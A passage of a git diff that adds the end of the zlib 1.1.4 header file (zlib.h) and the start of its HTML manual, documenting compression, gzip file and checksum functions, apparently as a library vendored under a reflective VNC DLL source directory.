parameter flush should be set to + Z_FINISH. In this case all pending input is processed and all pending + output is flushed; avail_out must be large enough to hold all the + uncompressed data. (The size of the uncompressed data may have been saved + by the compressor for this purpose.) The next operation on this stream must + be inflateEnd to deallocate the decompression state. The use of Z_FINISH + is never required, but can be used to inform inflate that a faster routine + may be used for the single inflate() call. + + If a preset dictionary is needed at this point (see inflateSetDictionary + below), inflate sets strm-adler to the adler32 checksum of the + dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise + it sets strm->adler to the adler32 checksum of all output produced + so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or + an error code as described below. At the end of the stream, inflate() + checks that its computed adler32 checksum is equal to that saved by the + compressor and returns Z_STREAM_END only if the checksum is correct. + + inflate() returns Z_OK if some progress has been made (more input processed + or more output produced), Z_STREAM_END if the end of the compressed data has + been reached and all uncompressed output has been produced, Z_NEED_DICT if a + preset dictionary is needed at this point, Z_DATA_ERROR if the input data was + corrupted (input stream not conforming to the zlib format or incorrect + adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent + (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if no progress is possible or if there was not + enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR + case, the application may then call inflateSync to look for a good + compression block. +*/ + + +ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm)); +/* + All dynamically allocated data structures for this stream are freed. + This function discards any unprocessed input and does not flush any + pending output. + + inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state + was inconsistent. In the error case, msg may be set but then points to a + static string (which must not be deallocated). +*/ + + /* Advanced functions */ + +/* + The following functions are needed only in some special applications. +*/ + +/* +ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm, + int level, + int method, + int windowBits, + int memLevel, + int strategy)); + + This is another version of deflateInit with more compression options. The + fields next_in, zalloc, zfree and opaque must be initialized before by + the caller. + + The method parameter is the compression method. It must be Z_DEFLATED in + this version of the library. + + The windowBits parameter is the base two logarithm of the window size + (the size of the history buffer). It should be in the range 8..15 for this + version of the library. Larger values of this parameter result in better + compression at the expense of memory usage. The default value is 15 if + deflateInit is used instead. + + The memLevel parameter specifies how much memory should be allocated + for the internal compression state. memLevel=1 uses minimum memory but + is slow and reduces compression ratio; memLevel=9 uses maximum memory + for optimal speed. The default value is 8. See zconf.h for total memory + usage as a function of windowBits and memLevel. + + The strategy parameter is used to tune the compression algorithm. Use the + value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a + filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no + string match). Filtered data consists mostly of small values with a + somewhat random distribution. In this case, the compression algorithm is + tuned to compress them better. The effect of Z_FILTERED is to force more + Huffman coding and less string matching; it is somewhat intermediate + between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects + the compression ratio but not the correctness of the compressed output even + if it is not set appropriately. + + deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid + method). msg is set to null if there is no error message. deflateInit2 does + not perform any compression: this will be done by deflate(). +*/ + +ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm, + const Bytef *dictionary, + uInt dictLength)); +/* + Initializes the compression dictionary from the given byte sequence + without producing any compressed output. This function must be called + immediately after deflateInit, deflateInit2 or deflateReset, before any + call of deflate. The compressor and decompressor must use exactly the same + dictionary (see inflateSetDictionary). + + The dictionary should consist of strings (byte sequences) that are likely + to be encountered later in the data to be compressed, with the most commonly + used strings preferably put towards the end of the dictionary. Using a + dictionary is most useful when the data to be compressed is short and can be + predicted with good accuracy; the data can then be compressed better than + with the default empty dictionary. + + Depending on the size of the compression data structures selected by + deflateInit or deflateInit2, a part of the dictionary may in effect be + discarded, for example if the dictionary is larger than the window size in + deflate or deflate2. Thus the strings most likely to be useful should be + put at the end of the dictionary, not at the front. + + Upon return of this function, strm->adler is set to the Adler32 value + of the dictionary; the decompressor may later use this value to determine + which dictionary has been used by the compressor. (The Adler32 value + applies to the whole dictionary even if only a subset of the dictionary is + actually used by the compressor.) + + deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a + parameter is invalid (such as NULL dictionary) or the stream state is + inconsistent (for example if deflate has already been called for this stream + or if the compression method is bsort). deflateSetDictionary does not + perform any compression: this will be done by deflate(). +*/ + +ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest, + z_streamp source)); +/* + Sets the destination stream as a complete copy of the source stream. + + This function can be useful when several compression strategies will be + tried, for example when there are several ways of pre-processing the input + data with a filter. The streams that will be discarded should then be freed + by calling deflateEnd. Note that deflateCopy duplicates the internal + compression state which can be quite large, so this strategy is slow and + can consume lots of memory. + + deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_STREAM_ERROR if the source stream state was inconsistent + (such as zalloc being NULL). msg is left unchanged in both source and + destination. +*/ + +ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm)); +/* + This function is equivalent to deflateEnd followed by deflateInit, + but does not free and reallocate all the internal compression state. + The stream will keep the same compression level and any other attributes + that may have been set by deflateInit2. + + deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source + stream state was inconsistent (such as zalloc or state being NULL). +*/ + +ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm, + int level, + int strategy)); +/* + Dynamically update the compression level and compression strategy. The + interpretation of level and strategy is as in deflateInit2. This can be + used to switch between compression and straight copy of the input data, or + to switch to a different kind of input data requiring a different + strategy. If the compression level is changed, the input available so far + is compressed with the old level (and may be flushed); the new level will + take effect only at the next call of deflate(). + + Before the call of deflateParams, the stream state must be set as for + a call of deflate(), since the currently available input may have to + be compressed and flushed. In particular, strm->avail_out must be non-zero. + + deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source + stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR + if strm->avail_out was zero. +*/ + +/* +ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm, + int windowBits)); + + This is another version of inflateInit with an extra parameter. The + fields next_in, avail_in, zalloc, zfree and opaque must be initialized + before by the caller. + + The windowBits parameter is the base two logarithm of the maximum window + size (the size of the history buffer). It should be in the range 8..15 for + this version of the library. The default value is 15 if inflateInit is used + instead. If a compressed stream with a larger window size is given as + input, inflate() will return with the error code Z_DATA_ERROR instead of + trying to allocate a larger window. + + inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative + memLevel). msg is set to null if there is no error message. inflateInit2 + does not perform any decompression apart from reading the zlib header if + present: this will be done by inflate(). (So next_in and avail_in may be + modified, but next_out and avail_out are unchanged.) +*/ + +ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm, + const Bytef *dictionary, + uInt dictLength)); +/* + Initializes the decompression dictionary from the given uncompressed byte + sequence. This function must be called immediately after a call of inflate + if this call returned Z_NEED_DICT. The dictionary chosen by the compressor + can be determined from the Adler32 value returned by this call of + inflate. The compressor and decompressor must use exactly the same + dictionary (see deflateSetDictionary). + + inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a + parameter is invalid (such as NULL dictionary) or the stream state is + inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the + expected one (incorrect Adler32 value). inflateSetDictionary does not + perform any decompression: this will be done by subsequent calls of + inflate(). +*/ + +ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm)); +/* + Skips invalid compressed data until a full flush point (see above the + description of deflate with Z_FULL_FLUSH) can be found, or until all + available input is skipped. No output is provided. + + inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR + if no more input was provided, Z_DATA_ERROR if no flush point has been found, + or Z_STREAM_ERROR if the stream structure was inconsistent. In the success + case, the application may save the current current value of total_in which + indicates where valid compressed data was found. In the error case, the + application may repeatedly call inflateSync, providing more input each time, + until success or end of the input data. +*/ + +ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm)); +/* + This function is equivalent to inflateEnd followed by inflateInit, + but does not free and reallocate all the internal decompression state. + The stream will keep attributes that may have been set by inflateInit2. + + inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source + stream state was inconsistent (such as zalloc or state being NULL). +*/ + + + /* utility functions */ + +/* + The following utility functions are implemented on top of the + basic stream-oriented functions. To simplify the interface, some + default options are assumed (compression level and memory usage, + standard memory allocation functions). The source code of these + utility functions can easily be modified if you need special options. +*/ + +ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen)); +/* + Compresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be at least 0.1% larger than + sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the + compressed buffer. + This function can be used to compress a whole file at once if the + input file is mmap'ed. + compress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer. +*/ + +ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen, + int level)); +/* + Compresses the source buffer into the destination buffer. The level + parameter has the same meaning as in deflateInit. sourceLen is the byte + length of the source buffer. Upon entry, destLen is the total size of the + destination buffer, which must be at least 0.1% larger than sourceLen plus + 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. + + compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_BUF_ERROR if there was not enough room in the output buffer, + Z_STREAM_ERROR if the level parameter is invalid. +*/ + +ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen)); +/* + Decompresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be large enough to hold the + entire uncompressed data. (The size of the uncompressed data must have + been saved previously by the compressor and transmitted to the decompressor + by some mechanism outside the scope of this compression library.) + Upon exit, destLen is the actual size of the compressed buffer. + This function can be used to decompress a whole file at once if the + input file is mmap'ed. + + uncompress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer, or Z_DATA_ERROR if the input data was corrupted. +*/ + + +typedef voidp gzFile; + +ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode)); +/* + Opens a gzip (.gz) file for reading or writing. The mode parameter + is as in fopen ("rb" or "wb") but can also include a compression level + ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for + Huffman only compression as in "wb1h". (See the description + of deflateInit2 for more information about the strategy parameter.) + + gzopen can be used to read a file which is not in gzip format; in this + case gzread will directly read from the file without decompression. + + gzopen returns NULL if the file could not be opened or if there was + insufficient memory to allocate the (de)compression state; errno + can be checked to distinguish the two cases (if errno is zero, the + zlib error is Z_MEM_ERROR). */ + +ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode)); +/* + gzdopen() associates a gzFile with the file descriptor fd. File + descriptors are obtained from calls like open, dup, creat, pipe or + fileno (in the file has been previously opened with fopen). + The mode parameter is as in gzopen. + The next call of gzclose on the returned gzFile will also close the + file descriptor fd, just like fclose(fdopen(fd), mode) closes the file + descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode). + gzdopen returns NULL if there was insufficient memory to allocate + the (de)compression state. +*/ + +ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy)); +/* + Dynamically update the compression level or strategy. See the description + of deflateInit2 for the meaning of these parameters. + gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not + opened for writing. +*/ + +ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len)); +/* + Reads the given number of uncompressed bytes from the compressed file. + If the input file was not in gzip format, gzread copies the given number + of bytes into the buffer. + gzread returns the number of uncompressed bytes actually read (0 for + end of file, -1 for error). */ + +ZEXTERN int ZEXPORT gzwrite OF((gzFile file, + const voidp buf, unsigned len)); +/* + Writes the given number of uncompressed bytes into the compressed file. + gzwrite returns the number of uncompressed bytes actually written + (0 in case of error). +*/ + +ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...)); +/* + Converts, formats, and writes the args to the compressed file under + control of the format string, as in fprintf. gzprintf returns the number of + uncompressed bytes actually written (0 in case of error). +*/ + +ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s)); +/* + Writes the given null-terminated string to the compressed file, excluding + the terminating null character. + gzputs returns the number of characters written, or -1 in case of error. +*/ + +ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len)); +/* + Reads bytes from the compressed file until len-1 characters are read, or + a newline character is read and transferred to buf, or an end-of-file + condition is encountered. The string is then terminated with a null + character. + gzgets returns buf, or Z_NULL in case of error. +*/ + +ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c)); +/* + Writes c, converted to an unsigned char, into the compressed file. + gzputc returns the value that was written, or -1 in case of error. +*/ + +ZEXTERN int ZEXPORT gzgetc OF((gzFile file)); +/* + Reads one byte from the compressed file. gzgetc returns this byte + or -1 in case of end of file or error. +*/ + +ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush)); +/* + Flushes all pending output into the compressed file. The parameter + flush is as in the deflate() function. The return value is the zlib + error number (see function gzerror below). gzflush returns Z_OK if + the flush parameter is Z_FINISH and all output could be flushed. + gzflush should be called only when strictly necessary because it can + degrade compression. +*/ + +ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file, + z_off_t offset, int whence)); +/* + Sets the starting position for the next gzread or gzwrite on the + given compressed file. The offset represents a number of bytes in the + uncompressed data stream. The whence parameter is defined as in lseek(2); + the value SEEK_END is not supported. + If the file is opened for reading, this function is emulated but can be + extremely slow. If the file is opened for writing, only forward seeks are + supported; gzseek then compresses a sequence of zeroes up to the new + starting position. + + gzseek returns the resulting offset location as measured in bytes from + the beginning of the uncompressed stream, or -1 in case of error, in + particular if the file is opened for writing and the new starting position + would be before the current position. +*/ + +ZEXTERN int ZEXPORT gzrewind OF((gzFile file)); +/* + Rewinds the given file. This function is supported only for reading. + + gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET) +*/ + +ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file)); +/* + Returns the starting position for the next gzread or gzwrite on the + given compressed file. This position represents a number of bytes in the + uncompressed data stream. + + gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR) +*/ + +ZEXTERN int ZEXPORT gzeof OF((gzFile file)); +/* + Returns 1 when EOF has previously been detected reading the given + input stream, otherwise zero. +*/ + +ZEXTERN int ZEXPORT gzclose OF((gzFile file)); +/* + Flushes all pending output if necessary, closes the compressed file + and deallocates all the (de)compression state. The return value is the zlib + error number (see function gzerror below). +*/ + +ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum)); +/* + Returns the error message for the last error which occurred on the + given compressed file. errnum is set to zlib error number. If an + error occurred in the file system and not in the compression library, + errnum is set to Z_ERRNO and the application may consult errno + to get the exact error code. +*/ + + /* checksum functions */ + +/* + These functions are not related to compression but are exported + anyway because they might be useful in applications using the + compression library. +*/ + +ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len)); + +/* + Update a running Adler-32 checksum with the bytes buf[0..len-1] and + return the updated checksum. If buf is NULL, this function returns + the required initial value for the checksum. + An Adler-32 checksum is almost as reliable as a CRC32 but can be computed + much faster. Usage example: + + uLong adler = adler32(0L, Z_NULL, 0); + + while (read_buffer(buffer, length) != EOF) { + adler = adler32(adler, buffer, length); + } + if (adler != original_adler) error(); +*/ + +ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len)); +/* + Update a running crc with the bytes buf[0..len-1] and return the updated + crc. If buf is NULL, this function returns the required initial value + for the crc. Pre- and post-conditioning (one's complement) is performed + within this function so it shouldn't be done by the application. + Usage example: + + uLong crc = crc32(0L, Z_NULL, 0); + + while (read_buffer(buffer, length) != EOF) { + crc = crc32(crc, buffer, length); + } + if (crc != original_crc) error(); +*/ + + + /* various hacks, don't look :) */ + +/* deflateInit and inflateInit are macros to allow checking the zlib version + * and the compiler's view of z_stream: + */ +ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level, + const char *version, int stream_size)); +ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm, + const char *version, int stream_size)); +ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method, + int windowBits, int memLevel, + int strategy, const char *version, + int stream_size)); +ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits, + const char *version, int stream_size)); +#define deflateInit(strm, level) \ + deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream)) +#define inflateInit(strm) \ + inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream)) +#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ + deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ + (strategy), ZLIB_VERSION, sizeof(z_stream)) +#define inflateInit2(strm, windowBits) \ + inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream)) + + +#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL) + struct internal_state {int dummy;}; /* hack for buggy compilers */ +#endif + +ZEXTERN const char * ZEXPORT zError OF((int err)); +ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z)); +ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void)); + +#ifdef __cplusplus +} +#endif + +#endif /* _ZLIB_H */ diff --git a/external/source/reflective_vncdll/zlib/zlib.html b/external/source/reflective_vncdll/zlib/zlib.html new file mode 100644 index 0000000000..ddce3176c6 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zlib.html @@ -0,0 +1,971 @@ + + + + zlib general purpose compression library version 1.1.4 + + + + + +

zlib 1.1.4 Manual

+
+

Contents

+
    +
  1. Prologue +
  2. Introduction +
  3. Utility functions +
  4. Basic functions +
  5. Advanced functions +
  6. Constants +
  7. struct z_stream_s +
  8. Checksum functions +
  9. Misc +
+
+

Prologue

+ 'zlib' general purpose compression library version 1.1.4, March 11th, 2002 +

+ Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler +

+ This software is provided 'as-is', without any express or implied + warranty. In no event will the authors be held liable for any damages + arising from the use of this software. +

+ Permission is granted to anyone to use this software for any purpose, + including commercial applications, and to alter it and redistribute it + freely, subject to the following restrictions: +

    +
  1. The origin of this software must not be misrepresented ; you must not + claim that you wrote the original software. If you use this software + in a product, an acknowledgment in the product documentation would be + appreciated but is not required. +
  2. Altered source versions must be plainly marked as such, and must not be + misrepresented as being the original software. +
  3. This notice may not be removed or altered from any source distribution. +
+ +
+
Jean-loup Gailly +
jloup@gzip.org +
Mark Adler +
madler@alumni.caltech.edu +
+ + The data format used by the zlib library is described by RFCs (Request for + Comments) 1950 to 1952 in the files + + ftp://ds.internic.net/rfc/rfc1950.txt + (zlib format), + + rfc1951.txt + (deflate format) and + + rfc1952.txt + (gzip format). +

+ This manual is converted from zlib.h by + piaip +

+ Visit + http://ftp.cdrom.com/pub/infozip/zlib/ + for the official zlib web page. +

+ +


+

Introduction

+ The 'zlib' compression library provides in-memory compression and + decompression functions, including integrity checks of the uncompressed + data. This version of the library supports only one compression method + (deflation) but other algorithms will be added later and will have the same + stream interface. +

+ + Compression can be done in a single step if the buffers are large + enough (for example if an input file is mmap'ed), or can be done by + repeated calls of the compression function. In the latter case, the + application must provide more input and/or consume the output + (providing more output space) before each call. +

+ + The library also supports reading and writing files in gzip (.gz) format + with an interface similar to that of stdio. +

+ + The library does not install any signal handler. The decoder checks + the consistency of the compressed data, so the library should never + crash even in case of corrupted input. +

+ +


+

Utility functions

+ The following utility functions are implemented on top of the +
basic stream-oriented functions. + To simplify the interface, some + default options are assumed (compression level and memory usage, + standard memory allocation functions). The source code of these + utility functions can easily be modified if you need special options. +

Function list

+
    +
  • int compress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen); +
  • int compress2 (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level); +
  • int uncompress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen); +
  • typedef voidp gzFile; +
  • gzFile gzopen (const char *path, const char *mode); +
  • gzFile gzdopen (int fd, const char *mode); +
  • int gzsetparams (gzFile file, int level, int strategy); +
  • int gzread (gzFile file, voidp buf, unsigned len); +
  • int gzwrite (gzFile file, const voidp buf, unsigned len); +
  • int VA gzprintf (gzFile file, const char *format, ...); +
  • int gzputs (gzFile file, const char *s); +
  • char * gzgets (gzFile file, char *buf, int len); +
  • int gzputc (gzFile file, int c); +
  • int gzgetc (gzFile file); +
  • int gzflush (gzFile file, int flush); +
  • z_off_t gzseek (gzFile file, z_off_t offset, int whence); +
  • z_off_t gztell (gzFile file); +
  • int gzrewind (gzFile file); +
  • int gzeof (gzFile file); +
  • int gzclose (gzFile file); +
  • const char * gzerror (gzFile file, int *errnum); +
+

Function description

+
+
int compress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen); +
+ Compresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be at least 0.1% larger than + sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the + compressed buffer.

+ This function can be used to compress a whole file at once if the + input file is mmap'ed.

+ compress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer.

+ +

int compress2 (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level); +
+ Compresses the source buffer into the destination buffer. The level + parameter has the same meaning as in deflateInit. sourceLen is the byte + length of the source buffer. Upon entry, destLen is the total size of the + destination buffer, which must be at least 0.1% larger than sourceLen plus + 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. +

+ + compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_BUF_ERROR if there was not enough room in the output buffer, + Z_STREAM_ERROR if the level parameter is invalid. +

+ +

int uncompress (Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen); +
+ Decompresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be large enough to hold the + entire uncompressed data. (The size of the uncompressed data must have + been saved previously by the compressor and transmitted to the decompressor + by some mechanism outside the scope of this compression library.) + Upon exit, destLen is the actual size of the compressed buffer.

+ This function can be used to decompress a whole file at once if the + input file is mmap'ed. +

+ + uncompress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer, or Z_DATA_ERROR if the input data was corrupted. +

+ +

typedef voidp gzFile; +

+ +

gzFile gzopen (const char *path, const char *mode); +
+ Opens a gzip (.gz) file for reading or writing. The mode parameter + is as in fopen ("rb" or "wb") but can also include a compression level + ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for + Huffman only compression as in "wb1h". (See the description + of deflateInit2 for more information about the strategy parameter.) +

+ + gzopen can be used to read a file which is not in gzip format ; in this + case gzread will directly read from the file without decompression. +

+ + gzopen returns NULL if the file could not be opened or if there was + insufficient memory to allocate the (de)compression state ; errno + can be checked to distinguish the two cases (if errno is zero, the + zlib error is Z_MEM_ERROR). +

+ +

gzFile gzdopen (int fd, const char *mode); +
+ gzdopen() associates a gzFile with the file descriptor fd. File + descriptors are obtained from calls like open, dup, creat, pipe or + fileno (in the file has been previously opened with fopen). + The mode parameter is as in gzopen. +

+ The next call of gzclose on the returned gzFile will also close the + file descriptor fd, just like fclose(fdopen(fd), mode) closes the file + descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode). +

+ gzdopen returns NULL if there was insufficient memory to allocate + the (de)compression state. +

+ +

int gzsetparams (gzFile file, int level, int strategy); +
+ Dynamically update the compression level or strategy. See the description + of deflateInit2 for the meaning of these parameters. +

+ gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not + opened for writing. +

+ +

int gzread (gzFile file, voidp buf, unsigned len); +
+ Reads the given number of uncompressed bytes from the compressed file. + If the input file was not in gzip format, gzread copies the given number + of bytes into the buffer. +

+ gzread returns the number of uncompressed bytes actually read (0 for + end of file, -1 for error). +

+ +

int gzwrite (gzFile file, const voidp buf, unsigned len); +
+ Writes the given number of uncompressed bytes into the compressed file. + gzwrite returns the number of uncompressed bytes actually written + (0 in case of error). +

+ +

int VA gzprintf (gzFile file, const char *format, ...); +
+ Converts, formats, and writes the args to the compressed file under + control of the format string, as in fprintf. gzprintf returns the number of + uncompressed bytes actually written (0 in case of error). +

+ +

int gzputs (gzFile file, const char *s); +
+ Writes the given null-terminated string to the compressed file, excluding + the terminating null character. +

+ gzputs returns the number of characters written, or -1 in case of error. +

+ +

char * gzgets (gzFile file, char *buf, int len); +
+ Reads bytes from the compressed file until len-1 characters are read, or + a newline character is read and transferred to buf, or an end-of-file + condition is encountered. The string is then terminated with a null + character. +

+ gzgets returns buf, or Z_NULL in case of error. +

+ +

int gzputc (gzFile file, int c); +
+ Writes c, converted to an unsigned char, into the compressed file. + gzputc returns the value that was written, or -1 in case of error. +

+ +

int gzgetc (gzFile file); +
+ Reads one byte from the compressed file. gzgetc returns this byte + or -1 in case of end of file or error. +

+ +

int gzflush (gzFile file, int flush); +
+ Flushes all pending output into the compressed file. The parameter + flush is as in the deflate() function. The return value is the zlib + error number (see function gzerror below). gzflush returns Z_OK if + the flush parameter is Z_FINISH and all output could be flushed. +

+ gzflush should be called only when strictly necessary because it can + degrade compression. +

+ +

z_off_t gzseek (gzFile file, z_off_t offset, int whence); +
+ Sets the starting position for the next gzread or gzwrite on the + given compressed file. The offset represents a number of bytes in the + uncompressed data stream. The whence parameter is defined as in lseek(2); + the value SEEK_END is not supported. +

+ If the file is opened for reading, this function is emulated but can be + extremely slow. If the file is opened for writing, only forward seeks are + supported ; gzseek then compresses a sequence of zeroes up to the new + starting position. +

+ gzseek returns the resulting offset location as measured in bytes from + the beginning of the uncompressed stream, or -1 in case of error, in + particular if the file is opened for writing and the new starting position + would be before the current position. +

+ +

int gzrewind (gzFile file); +
+ Rewinds the given file. This function is supported only for reading. +

+ gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET) +

+ +

z_off_t gztell (gzFile file); +
+ Returns the starting position for the next gzread or gzwrite on the + given compressed file. This position represents a number of bytes in the + uncompressed data stream. +

+ + gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR) +

+ +

int gzeof (gzFile file); +
+ Returns 1 when EOF has previously been detected reading the given + input stream, otherwise zero. +

+ +

int gzclose (gzFile file); +
+ Flushes all pending output if necessary, closes the compressed file + and deallocates all the (de)compression state. The return value is the zlib + error number (see function gzerror below). +

+ +

const char * gzerror (gzFile file, int *errnum); +
+ Returns the error message for the last error which occurred on the + given compressed file. errnum is set to zlib error number. If an + error occurred in the file system and not in the compression library, + errnum is set to Z_ERRNO and the application may consult errno + to get the exact error code. +

+

+
+

Basic functions

+

Function list

+
+ +

Function description

+
+
const char * zlibVersion (void); +
The application can compare zlibVersion and ZLIB_VERSION for consistency. + If the first character differs, the library code actually used is + not compatible with the zlib.h header file used by the application. + This check is automatically made by deflateInit and inflateInit. +

+ +

int deflateInit (z_streamp strm, int level); +
+ Initializes the internal stream state for compression. The fields + zalloc, zfree and opaque must be initialized before by the caller. + If zalloc and zfree are set to Z_NULL, deflateInit updates them to + use default allocation functions. +

+ + The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: + 1 gives best speed, 9 gives best compression, 0 gives no compression at + all (the input data is simply copied a block at a time). +

+ + Z_DEFAULT_COMPRESSION requests a default compromise between speed and + compression (currently equivalent to level 6). +

+ + deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_STREAM_ERROR if level is not a valid compression level, + Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible + with the version assumed by the caller (ZLIB_VERSION). + msg is set to null if there is no error message. deflateInit does not + perform any compression: this will be done by deflate(). +

+ +

int deflate (z_streamp strm, int flush); +
+ deflate compresses as much data as possible, and stops when the input + buffer becomes empty or the output buffer becomes full. It may introduce some + output latency (reading input without producing any output) except when + forced to flush.

+ + The detailed semantics are as follows. deflate performs one or both of the + following actions: + +

    +
  • Compress more input starting at next_in and update next_in and avail_in + accordingly. If not all input can be processed (because there is not + enough room in the output buffer), next_in and avail_in are updated and + processing will resume at this point for the next call of deflate(). + +
  • + Provide more output starting at next_out and update next_out and avail_out + accordingly. This action is forced if the parameter flush is non zero. + Forcing flush frequently degrades the compression ratio, so this parameter + should be set only when necessary (in interactive applications). + Some output may be provided even if flush is not set. +

+ + Before the call of deflate(), the application should ensure that at least + one of the actions is possible, by providing more input and/or consuming + more output, and updating avail_in or avail_out accordingly ; avail_out + should never be zero before the call. The application can consume the + compressed output when it wants, for example when the output buffer is full + (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK + and with zero avail_out, it must be called again after making room in the + output buffer because there might be more output pending. +

+ + If the parameter flush is set to Z_SYNC_FLUSH, all pending output is + flushed to the output buffer and the output is aligned on a byte boundary, so + that the decompressor can get all input data available so far. (In particular + avail_in is zero after the call if enough output space has been provided + before the call.) Flushing may degrade compression for some compression + algorithms and so it should be used only when necessary. +

+ + If flush is set to Z_FULL_FLUSH, all output is flushed as with + Z_SYNC_FLUSH, and the compression state is reset so that decompression can + restart from this point if previous compressed data has been damaged or if + random access is desired. Using Z_FULL_FLUSH too often can seriously degrade + the compression. +

+ + If deflate returns with avail_out == 0, this function must be called again + with the same value of the flush parameter and more output space (updated + avail_out), until the flush is complete (deflate returns with non-zero + avail_out). +

